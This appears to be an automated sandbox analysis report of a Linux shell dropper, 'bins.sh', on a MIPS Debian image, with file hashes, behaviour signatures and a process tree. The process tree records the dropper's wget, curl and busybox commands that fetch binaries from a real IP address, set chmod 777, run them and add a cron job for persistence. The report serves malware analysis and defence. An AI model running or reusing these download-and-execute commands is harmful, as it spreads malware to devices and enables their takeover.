Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 13:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    55a1cde83448c075863af498d8f07347

  • SHA1

    71fc61de9d4ab6d1ffb6f77532da9099ed462060

  • SHA256

    3358bdb43f37beae54f42f364887f9c09d346e7cdb91f4d23ad252f984546bf1

  • SHA512

    7637c8bf8467388ae106f959277568b0f03cf62d65e60dfcb27a678a22599224aaf25100ca898619af630f564958ccb981c22d64a1328f18c1fe389092ab6430

  • SSDEEP

    192:yGgCCHWiiEpzUENiPH+NhIECCHWi5jeJPH+Nho:yGbuzFeJ

Malware Config

Signatures

  • Contacts a large (1696) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:710
        • /usr/bin/wget
          wget http://87.120.84.230/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          ./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://87.120.84.230/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/chmod
            chmod 777 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • File and Directory Permissions Modification
            PID:746
          • /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            ./v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:747
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:749
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:750
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:751
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:752
                • /bin/rm
                  rm v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
                  2⤵
                    PID:754
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                    2⤵
                      PID:757

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc

                    Filesize

                    99KB

                    MD5

                    9438d9bc392bcf300a5583b6df5bc8f6

                    SHA1

                    375a6ae34b516f6f3eeea8030c4084f585017efa

                    SHA256

                    68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                    SHA512

                    1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                  • /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X

                    Filesize

                    151KB

                    MD5

                    6c583043d91c55aa470c08c87058e917

                    SHA1

                    abf65a5b9bba69980278ad09356e53de8bb89439

                    SHA256

                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                    SHA512

                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                  • /var/spool/cron/crontabs/tmp.0Qa6DP

                    Filesize

                    210B

                    MD5

                    d840e96bf0ee143eb1003522f64cb0dc

                    SHA1

                    4ccffd30f51e01215d7f380aaf71312f1106fee9

                    SHA256

                    1fb30f2b869663d33e66c3c5b4de78306edaeae9b98e7d11d2b5477f87b836b5

                    SHA512

                    2057a5c0fb91b64a69ae85698bace2e78a4685d9d80b0ad314a39002a04c8c8a290e57b7f1011030ba756bb217ab810bfa2f52eaa8579a707506877bd2a0a95d